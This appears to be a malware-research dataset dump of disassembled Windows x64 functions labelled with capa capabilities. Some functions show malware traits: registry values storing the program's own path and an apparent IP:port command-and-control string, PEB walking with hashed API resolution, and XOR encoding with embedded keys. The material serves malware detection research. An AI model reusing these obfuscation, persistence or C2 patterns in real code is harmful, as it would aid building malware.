joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011b58
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
mov qword [rax + 0x18], rbx
call fcn.140011968
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebp, [rax + rax + 2]
call fcn.1400115d8
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
test eax, eax
lea rax, [rsp + 0x50]
mov r9d, 0x20006
cmovne rdx, qword [str.SOFTWAREAppDataLowSOFTWAREJavaSoftDeploymentPropertiespending]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011bc8
xor eax, eax
jmp 0x140011bfd
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
mov edi, 1
xor r8d, r8d
mov rdx, rsi
mov r9d, edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140011bf0
mov ebx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140011ef8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
mov eax, 0x1040
call fcn.140013a40
sub rsp, rax
mov rax, qword [0x140040b80]
xor rax, rsp
mov qword [rsp + 0x1030], rax
lea rcx, [rsp + 0x30]
mov edx, 0x400
call qword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor ebx, ebx
test eax, eax
je 0x140011f7d
lea rax, str.DeploymentRuleSet.jar
lea r9, [rsp + 0x30]
lea r8, str._sSunJavaDeployment_s
lea rcx, [rsp + 0x830]
mov edx, 0x400
mov qword [rsp + 0x20], rax
call fcn.140012604
test eax, eax
jle 0x140011f7d
lea rcx, [rsp + 0x830]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140011f79
test al, 0x10
jne 0x140011f79
mov ebx, 1
mov eax, ebx
jmp 0x140011f7f
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140013160
add rsp, 0x1040
pop rbx
ret

Function at 0x140014b30
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400149a0

Function at 0x14001adab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140040b80]
jne 0x14001317a
rol rcx, 0x10
test cx, 0xffff
jne 0x140013176
repz ret
ror rcx, 0x10
jmp 0x14001ad04
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140057aa0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140057b98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001ad89
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140057aa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001adab
mov rax, qword [rsp + 0x88]
mov qword [0x140057b98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140057b38], rax
mov rax, qword [0x140057b98]
mov qword [0x140057a10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140057b20], rax
mov dword [0x140057a00], 0xc0000409
mov dword [0x140057a04], 1
mov rax, qword [0x140040b80]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140040b88]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140057a98], eax
mov ecx, 1
call fcn.140028824
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140032610]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140057a98], 0
jne 0x14001ae32
mov ecx, 1
call fcn.140028824
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400238bc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x1400238e6
call fcn.140016470
and dword [rax], 0
call fcn.140016450
mov ebx, socket
mov dword [rax], ebx
call fcn.14001ace4
mov eax, ebx
jmp 0x140023936
test edx, 0xfffffff9
jne 0x1400238c9
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14002390f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140016490
call fcn.140016450
mov eax, dword [rax]
jmp 0x140023936
test al, 0x10
jne 0x140023934
test al, 1
je 0x140023934
test bl, 2
je 0x140023934
call fcn.140016470
mov dword [rax], 5
call fcn.140016450
mov dword [rax], reloc.WSOCK32.dll_listen
jmp 0x140023906
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400293d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140040b80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001ba14
xor ebx, ebx
cmp qword [0x140058b58], rbx
mov rdi, rax
jne 0x1400294e3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400295ba
lea rdx, [0x1400343f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400295ba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140058b58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140058b60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140058b68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140058b78], rax
test rax, rax
je 0x1400294da
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140058b70], rax
jmp 0x1400294ea
mov rax, qword [0x140058b70]
jmp 0x1400294f1
mov rax, qword [0x140058b70]
mov r11, qword [0x140058b78]
cmp rax, rdi
je 0x140029558
cmp r11, rdi
je 0x140029558
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140058b78]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140029558
test rax, rax
je 0x140029558
call rsi
test rax, rax
je 0x140029552
lea rcx, [rsp + 0x30]
mov r9d, ntohs
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140029552
test byte [rsp + 0x40], 1
jne 0x140029558
bts ebp, 0x15
jmp 0x140029598
mov rcx, qword [0x140058b60]
cmp rcx, rdi
je 0x140029598
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140029598
call rax
mov rbx, rax
test rax, rax
je 0x140029598
mov rcx, qword [0x140058b68]
cmp rcx, rdi
je 0x140029598
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140029598
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140058b58]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400295ba
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400295bc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140013160
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14006b33c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14006f390
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x14019c920]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x14019c9a8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
mov al, byte [0x14019c9aa]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0x70]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x14006b468
mov rcx, qword [rbp + 0x70]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:206.238.114.219p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x14006b432
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rbp
ret
Function at 0x14006b654
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rax, qword gs:[0x30]
xor ebx, ebx
xor r9d, r9d
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r10, qword [rdx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edx, dword [rax + r10 + 0x88]
add rdx, r10
mov eax, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x1c]
mov r13d, dword [rdx + 0x20]
add r14, r10
mov r12d, dword [rdx + 0x24]
add r13, r10
mov r8d, dword [rdx + 0x18]
add r12, r10
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14006b73a
movzx ecx, word [0x1400df8ac]
cmp dword [r14 + r9*4], 0
je 0x14006b732
mov ebp, r8d
xor r8d, r8d
test rbp, rbp
je 0x14006b72d
movzx esi, word [r12 + r8*2]
cmp rsi, r9
jne 0x14006b720
mov r11d, dword [r13 + r8*4]
add r11, r10
xor edi, edi
jmp 0x14006b70b
mov edx, edi
mov eax, edi
shl eax, 0x19
shr edx, cl
mov edi, edx
or edi, eax
movsx eax, r15b
add edi, eax
inc r11
mov r15b, byte [r11]
test r15b, r15b
jne 0x14006b6f5
cmp edi, dword [rsp + 0x40]
jne 0x14006b720
mov ebx, dword [r14 + rsi*4]
add rbx, r10
inc r8
cmp r8, rbp
jb 0x14006b6df
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
inc r9
cmp r9, rax
jb 0x14006b6cd
mov rax, rbx
mov rbx, qword [rsp + 0x58]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14006ba9c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
cmp dword [0x1401a9a84], 3
mov rbx, rcx
movsxd r14, edx
mov ebp, r14d
jne 0x14006bb6c
xor edi, edi
lea rcx, str.jason
mov qword [rax - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.14006bbf0
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.14006bc88
test r14d, r14d
je 0x14006bb14
mov rax, rbx
mov ecx, ebp
xor byte [rax], 0x74
inc rax
sub rcx, 1
jne 0x14006bb08
mov rcx, rbp
call fcn.14006d9e0
mov rsi, rax
test rax, rax
je 0x14006bb36
mov r8, rbp
xor edx, edx
mov rcx, rax
call fcn.14006f390
mov byte [rsi], dil
jmp 0x14006bb39
mov rsi, rdi
mov rcx, r14
sub rcx, 1
js 0x14006bb7c
lea rdx, [rcx + rsi]
mov al, byte [rdi + rbx]
inc rdi
mov byte [rdx], al
dec rdx
cmp rdi, rcx
jle 0x14006bb46
sub rsi, rbx
inc rcx
mov al, byte [rsi + rbx]
mov byte [rbx], al
inc rbx
sub rcx, 1
jne 0x14006bb5c
jmp 0x14006bb7c
test edx, edx
je 0x14006bb7c
xor byte [rbx], 0x74
inc rbx
sub rbp, 1
jne 0x14006bb70
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x14000eb50
Capabilities:
Encode data using xor

Disassembly:
push rsi
mov rax, rcx
test rdx, rdx
je 0x14000ebb4
mov r9, rdx
and r9, 3
je 0x14000eba4
lea r10, str.uldshONLYHACKSoatiSke
lea r11, [0x14005bb04]
mov rsi, rax
mov r8, r10
nop word cs:[rax + rax]
cmp r8, r11
cmove r8, r10
movzx ecx, byte [r8]
xor byte [rsi], cl
lea rcx, [rsi + 1]
inc r8
mov rsi, rcx
dec r9
jne 0x14000eb80
cmp rdx, 4
jb 0x14000ebb4
jmp 0x14000ebb6
lea r8, str.uldshONLYHACKSoatiSke
mov rcx, rax
cmp rdx, 4
jae 0x14000ebb6
pop rsi
ret
add rdx, rax
lea r9, str.uldshONLYHACKSoatiSke
lea r10, [0x14005bb04]
jmp 0x14000ebe4
movzx r11d, byte [r8]
xor byte [rcx + 3], r11b
inc r8
add rcx, 4
cmp rcx, rdx
je 0x14000ebb4
mov r11, r9
cmp r8, r10
je 0x14000ebef
mov r11, r8
movzx r8d, byte [r11]
xor byte [rcx], r8b
inc r11
mov r8, r9
cmp r11, r10
je 0x14000ec04
mov r8, r11
movzx r11d, byte [r8]
xor byte [rcx + 1], r11b
inc r8
mov r11, r9
cmp r8, r10
je 0x14000ec1a
mov r11, r8
movzx r8d, byte [r11]
xor byte [rcx + 2], r8b
inc r11
mov r8, r9
cmp r11, r10
je 0x14000ebd0
mov r8, r11
jmp 0x14000ebd0

Function at 0x14000ec40
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
test rdx, rdx
je 0x14000ec7c
add rdx, rdx
lea rcx, str.uldshONLYHACKSoatiSke
xor r8d, r8d
lea r9, [0x14005bb04]
mov r10, rcx
nop
cmp r10, r9
cmove r10, rcx
movzx r11d, byte [r10]
xor word [rax + r8], r11w
inc r10
add r8, 2
cmp rdx, r8
jne 0x14000ec60
ret
Function at 0x140013980
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140013a00
cmp r10, r11
jb 0x140013a77
cmp r10, rdx
ja 0x140013a89
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140013a02
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x1400139e0
jmp 0x140013a64
ja 0x140013a0a
mov r11, r10
cmp rax, r8
jne 0x1400139ae
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140013a40
mov rdi, r8
sub ecx, edx
jns 0x140013a5b
jmp 0x140013a66
cmp r8, rsi
je 0x140013a98
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140013a66
xor al, 1
cmp rdi, rsi
jne 0x140013a20
jmp 0x140013a66
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140057d20
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140057a30
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140057d90
int3

Function at 0x140018350
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140018375
cmp rax, rcx
je 0x14001837b
cmp rdx, 4
jae 0x14001837f
xor eax, eax
xor r8d, r8d
jmp 0x140018410
pop rbp
jmp fcn.140011650
xor eax, eax
pop rbp
ret
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14005ba50]
movdqa xmm3, xmmword [0x14005ba60]
pxor xmm1, xmm1
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x1400183a0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140018427
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140018410
pop rbp
ret
Function at 0x14002bab0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.140021320
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
movabs rbx, 0x8000000000000000
cmp rcx, rbx
jne 0x14002baee
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], rbx
jmp 0x14002bb14
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rdx
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x40]
call fcn.14002b9d0
mov r14, qword [rbp - 0x10]
cmp r14, rbx
jne 0x14002bb2d
lea rcx, [rbp - 8]
call fcn.14001bbc0
mov qword [rsi], rbx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rdi, qword [rbp - 8]
mov r15, qword [rbp]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002bb50
mov qword [rsi], r14
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r15
jmp 0x14002bb20
mov qword [rsi], rbx
test r14, r14
je 0x14002bb20
mov rcx, qword [0x140077608]
xor edx, edx
mov r8, rdi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
Function at 0x140031b80
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140031cf0
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x140031bbd
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140031cb5
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140031cd3
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rbp + 4], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rbp + 4]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140031c1c
mov eax, dword [rbp + 4]
mov ecx, 2
test rax, rax
je 0x140031c5f
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x140031c63
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x40], rax
movabs rcx, 0xffffffff00000000
and rcx, rax
movabs rdx, 0x6d00000000
cmp rcx, rdx
je 0x140031c67
movabs rdx, 0x3e500000000
cmp rcx, rdx
jne 0x140031c91
lea rax, [rbp - 8]
jmp 0x140031c73
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x140031c97
mov qword [rbp - 8], 1
lea rax, [rbp - 0x10]
mov qword [rax], 0
lea rcx, [rbp - 0x40]
call fcn.14001bbc0
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
cmp rcx, 2
jne 0x140031ca2
mov qword [rsi + 8], rax
mov al, 1
mov byte [rsi], al
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
test rcx, rcx
jne 0x140031c05
mov ecx, 1
jmp 0x140031c0f
mov r8d, 0x10
mov rcx, rbx
call fcn.140058810
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x140031bca
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.140058810
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x140031bca
mov qword [rbp - 0x40], 0
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.140058bb0
int3

Function at 0x1400368cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036916
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036916
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036916
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036916
cmp dword [rcx + 0x84], 0xe
jbe 0x140036916
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036918
xor al, al
add rsp, 0x28
ret
Function at 0x140038030
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14003805e
xor eax, eax
jmp 0x140038144
cmp qword [rcx + 0x68], 0
je 0x14003806f
call fcn.140038160
jmp 0x140038144
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140038086
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140038088
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400380ba
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140056bd0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14003813e
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400380f1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14003811a
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140044414
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14003813e
cmp rsi, rbx
ja 0x1400380f8
test rsi, rsi
je 0x14003813e
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140044414
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14003a294
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14003a2ce
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14003a2d3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14003a31c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140062a20]
cmp byte [rcx + rax], 0
je 0x14003a31c
dec r8
sub rdx, 1
jne 0x14003a302
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400414f4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140041563
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140041563
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140041563
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140041563
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140041563
cmp dword [rcx + 0x84], 0xe
jbe 0x140041563
cmp dword [rcx + 0xf8], 0
je 0x140041563
mov ecx, ebx
call fcn.140041614
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400413f0
nop
cmp dword [rbp + 0x20], 0
je 0x1400415b1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400415bc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400414f4

Function at 0x1400416f8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400414f4